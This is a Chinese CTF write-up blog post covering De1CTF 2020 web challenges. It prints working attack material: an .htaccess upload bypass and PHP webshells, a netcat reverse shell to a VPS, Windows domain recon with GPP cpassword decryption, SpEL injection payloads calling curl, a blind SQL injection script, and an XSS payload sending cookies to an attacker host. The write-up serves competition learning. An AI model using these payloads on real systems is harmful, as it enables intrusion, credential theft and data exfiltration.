抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

终于到第二次XCTF了。没想到De1ta的题这次这么顶,果然是出给国际队伍的难度。(膜一波国内外大佬队伍)
小绿草这次也就我们大二的几个在打,大家基本都自闭了。WEB自己也只做出两道题,说实话要是自己JAVA的学习计划再提前一点的话说不定能把calc那题出了的…
这样也不至于被卡在20名开外。

等wp出来自己争取把能做的题都复现了。

checkin

这题还算比较简单.就是自己一开始手贱选的mixture去做浪费了不少时间

首先简单上传FUZZ下,会发现限制了filename,filetype以及file的内容
其他的都还好。不过内容黑名单里
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents
主要是一个ph的问题。对webshell而言,应该只能使用不闭合的短标签了

但是因为文件后缀严格限制,所以只能按照要求上传图片马。现在需要.htaccess来控制解析它。
幸运的是,.htaccess并没有被限制
不过注意。.htaccess中常见的几种把.jpg解析成php的写法中,php是必不可少的.那就得绕过限制上传

这里就有两种思路了,一种是上传cgi进行getshell,当时简单搜了下发现确实并不需要php出现

但是更简单的是来自XNUCA的非预期解。使用\直接绕过waf。
即使是.htaccess这种说法上不允许换行的文件,它也是支持\直接换行的,因此轻松bypass

addtype application/x-httpd-p\
hp .jpg
<?=system('cat /flag');

Hard_Pentest_1

做完这题真的是得庆幸自己当初htb做了台windows的靶机。不然连做下去的勇气都没有

比赛时没咋截图,将就下看吧
首先第一步是给出的上传源码

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

webshell的限制,主要是文件后缀跟内容。
自己一开始的想法是正则回溯绕下!preg_match()但是很快就发现文件太大传不上去。
而且webshell连分号都没了,不好构造。
经队友提醒是台windows靶机,可以利用windwos不区分大小写的特性上传。
同时内容可以参考XCTFFINALlfi,用全短标签构造无字母数字webshell
大概是下面这样的吧,当时自己写的用不出来,借了郁师傅的直接上车。

<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>

当时还顺手nmap扫了下

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 13:27 CST
Nmap scan report for 47.113.219.76
Host is up (0.016s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE       VERSION
22/tcp   closed ssh
80/tcp   open   http          Microsoft IIS httpd 8.5 (PHP 7.2.29)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Unknown
|_http-title: upload
3389/tcp closed ms-wbt-server
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.83 seconds

然后想抱郁师傅大腿失败了…只能靠自己了。
因为题目同一个ip被出成两个题,基本很容易能看出来要么是单纯提权,要么是windows域渗透。

这里windows靶机八成就是为了域渗透准备的。

硬着头皮不管3721先弹个shell
当时根目录有别的师傅传的NC,那就不用我自己传了。

.\nc.exe vpsip port -e powershell 

这样不至于在uploads目录被删时丢掉所有shell.
然后传个winPEAS.exe 进行信息收集。
这个也是做htb时学到的脚本,一般是为了提权扫描下。基本上能满足需求。
信息里有一处比较明显

脚本列出的信息中有一个域用户名字很敏感。HintZip_Pass
下面开始手动信息收集

参考这篇文章域渗透总结

域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机

所以域渗透的核心是通过可控的域用户,收集其中的可用信息,进一步利用其他漏洞发展更多域用户。最后能拿到管理员的哈希,基本就算渗透完整了。

ipconfig /all可以确认处于域管理模式中

PS C:\Users\Public> net user /domain
net user /domain
The request will be processed at a domain controller for domain De1CTF2020.lab.


User accounts for \\dc.De1CTF2020.lab

-------------------------------------------------------------------------------
Administrator            De1CTF1                  de1ta                    
Guest                    HintZip_Pass             krbtgt                   
web                      
The command completed successfully.

查询域用户时也能得到跟winPEAS一样的关于域用户的信息。
尝试net use

PS C:\> net use
net use
New connections will be remembered.


Status       Local     Remote                    Network

-------------------------------------------------------------------------------
OK                     \\192.168.0.12\Hint       Microsoft Windows Network
The command completed successfully.

发现\\192.168.0.12\Hint。且由于我们刚刚是建立的IPC空链接。因此可以无需用户名密码访问它。(不过我后来再看时发现这个地址没了)
net view\\192.168.0.12\也能发现有Hint,SYSVOL,NETLOGIN几个目录

直接pushd\\192.168.0.12\Hint进入filesystem.发现了一个flag1_and_flag2hint.zip

基于我们玩的是多人渗透。所以最好把它copy到自己私密的位置。或者把它以其他文件格式保存下来。(因为我在思考如何把它拿下来时刚好在蚁剑的shell里发现别人的zip文件2333)
直接下好别人的zip后,现在要一个密码

这里就体现出信息收集的重要性了。因为我们之前发现可以用的文件夹除了Hint还有SYSVOL.所以我选择百度域渗透 SYSVOL
得到这篇文章域渗透——利用SYSVOL还原组策略中保存的密码
在域中,存在一个默认的共享路径\\<DOMAIN>\SYSVOL\<DOMAIN>\

域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,默认所有域内用户可访问,虽然密码通过AES 256进行加密,密钥是公开在微软官网的。

参考这篇文章域渗透:GPP(Group Policy Preferences)漏洞
可以使用dir /s /a \\域控IP\SYSVOL\*.xml来尝试列出存在的xml
dir /s /a \\192.168.0.12\SYSVOL\*.xml
得到完整路径后读取。这里试了下type不行,gc不行。用more成了
more \\192.168.0.12\SYSVOL\De1CTF2020.lab\Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>   

这个cpassword恰好是属于HintZip_Pass的。那么根据上文,由于私钥暴露。只要知道公钥cpassword即可破解。

kali有现成的gpp-decrypt 直接用gpp-decrypt uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08就成。
得到密码后解出zip文件

这题做完后后续提示看都不想看了.真的是难.不过收获特挺多的。
(以后我一定好好学渗透.jpg)

calc

昨天比赛时没做出来…第二天zjy师傅构造出了payload。才感慨自己还是太菜了。

抓包就能得到spel/calc?calc=的路由
提示的这么明显,只能是spEL的表达式注入了。
不过简单FUZZ一下,发现果不其然有waf。
大概有这些关键字吧,
#,getClass, T( ,java.lang, new ,String,
想要直接RCE当然不行。所以得构造

第一想法是查资料,找到不少师傅做code-breaking时用反射进行spEL-RCE的payload
原本是

Runtime.getRuntime().exec()

通过反射,我们就能巧妙利用反射构造出类与方法。使用字符串拼接绕过。

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl xxxx");

但是这里String,getClass没了。不过也有方法绕过
使用''['class']数组直接绕
这是参考SEAM2.3.1的一个反序化payload的改法

''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')```

然而payload打了一发发现报错。然后就无语了。这时想起来,抓包时发现header里有openrasp,估计是直接从底层把runtime之类的给hook掉了。

然后郁师傅说不用执行命令也能读。仔细想挺有道理的,不然没必要直接告诉我们flag在根目录
但是确实java太菜了...下面是队友教我的方法。

```java
New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()

原来在spEL里是不区分关键字大小写的…那直接用java能读文件的类来就行了…
Java 读文件的5种方式
同理也可

New java.util.Scanner(New java.io.File("/flag")).nextLine()

java是真的要好好研究下了

ps:在推送里看到一篇文章恰好提到了De1这题。才发现dalao直接bypass openrasp进行RCE了…
参考:bypass openrasp SpEL RCE 的过程及思考
原来深挖spEL的底层解析源码,可发现空字符能直接bypass.所以,又可以产生完全不依赖new的实例化方法.直接空字符插进被过滤的T(中即可

甚至进一步,还能通过反序列化的思想,不显示的加载恶意类,达成RCE。
orz原来java的姿势这么多的么…

mixture

可以任意登录
member.php注释中有 orderby
测了下发现应该是order by 后的语句
开始以为只能接limit
那有且仅有procedure analyse一种方法
但报错函数都没了。延时延不了。版本问题只能用5.6以下的函数。真心没手段了
我有罪,这种难度的sql被卡住。该打。

直接and 分流我居然会忘了。

import requests
import urllib.parse

url='http://134.175.185.244/member.php?orderby='
flag=""
for i in range(1,30):
    print(i)
    a=0
    for str1 in "qwdfkjurlasetghnioyzxcvbpmQWDFKJURLASETGHNIOYZXCVBPM1234567890,":
        payload = "and case when (substr((select password from member),"+str(i)+",1)='"+str1+"') then (benchmark(500000,sha(1))) else 1 end"
        payload = urllib.parse.quote(payload)
        try:
            r = requests.get(url + payload, timeout=2.5)
        except requests.exceptions.ReadTimeout:
            flag+=str1
            print(flag)
            a=1
            break
    if a==0:
        break

求得密码解出来得到
goodlucktoyou

进去后一开始发现有一个select.php任意读文件的功能与admin.php给出的phpinfo,但是读完源码后发现居然使用了Minclude这个函数来包含。phpinfo里也能看到这个函数的so文件….所以这题真面目是WEB-PWN,应该是通过调这个so来溢出执行根目录的readflag…

然而比赛已经快结束了,等于白给。

AnimalCrossing

这题等wp吧…老实说不想复现了。因为题目得到flag除了要弹admin的cookie,还要从admin界面的图片获取信息…
没见过这么磨人的xss.

5.18复现:

今天整理仓库时偶然发现De1CTF这个题是有docker环境的。于是就起了个环境尝试复现下。发现学到了不少姿势。

首先第一步自然是利用那个可能达成xss的点了。本题是在这个url中的data位置

但是此处self-xss的达成都十分困难。因为一方面存在waf过滤掉字符(这里如果parse失败回显也是按遇到waf判断的,所以要注意语法的规范)。同时还有个CSP.
default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none';
当然这个CSP很好绕。使用location这一类型的跳转就可以了。难点在于绕waf达成后面的js代码执行。

看到sky师傅的wp后才恍然大悟。(膜一叶飘零师傅,自己很多知识都是从他的文章那学来的).原来是可以利用js的一个trick,而且自己曾经大概接触过。

先解释下这里的xss执行

我们的数据可以直接通过url中data参数拼接进这里的js代码。首先自然使用1'//保证代码语法的合法性。之后考虑的就是,怎么样在单引号跟注释符中间这部分使用js代码绕过waf进行xss。
于是这里就要提到js的一个trick了。先解释下sky师傅的payload。

对于js中一个对象而言,其valueOf()方法会返回对象本身。而当我们将对象与二元运算符进行操作时,将会调用valueof方法。
那么这样就简单了,只要能控制valueOf()方法返回值,就能执行任意js代码。
那么此处payload就可以构造成

'+{"valueOf":new "".construcor.constructor(atob('base64xsspayload'))}+1//

使用constructor获取到匿名函数这个在nodejs里已经非常熟悉了。同时这里+1就可以直接触发valueOf.最后我们为了绕过waf使用吧base64绕过。

当然使用其他方法都可以。我看见榜一的mslcpayload大概也是用二元运算符加上base64paylaod达成的。只不过用的是js伪协议。形式上简单了许多

payload=javascript:{window.location.href="vpsip/?"+document.cookie}

data=1'%2bopen(atob('base64encodepaylaod'))//

后面打给admin收flag
因为docker环境不知道为什么内网服务没起来,所以没法继续复现了。后面大致的内容就是发现admin的页面有照片,所以可以一个个下下来拼图即可。(用到了之前的pngbypassCSP的内容)

小结

这次比赛还是几乎全程自闭。虽然大家应该都差不多吧。而且没想到的是自己居然是WEB主C,估计以后也会这样承担起比以往更大的责任了.学长们没打,就只能靠自己。可能一直以来心里觉得有郁离歌在,这些题目都不是事的.然而这次De1直接泼了一头冷水,提醒我最后还是得靠自己。硬实力才是王道。

马上网鼎也来了,这段时间争取把java安全能入个门,php代审过完吧。

评论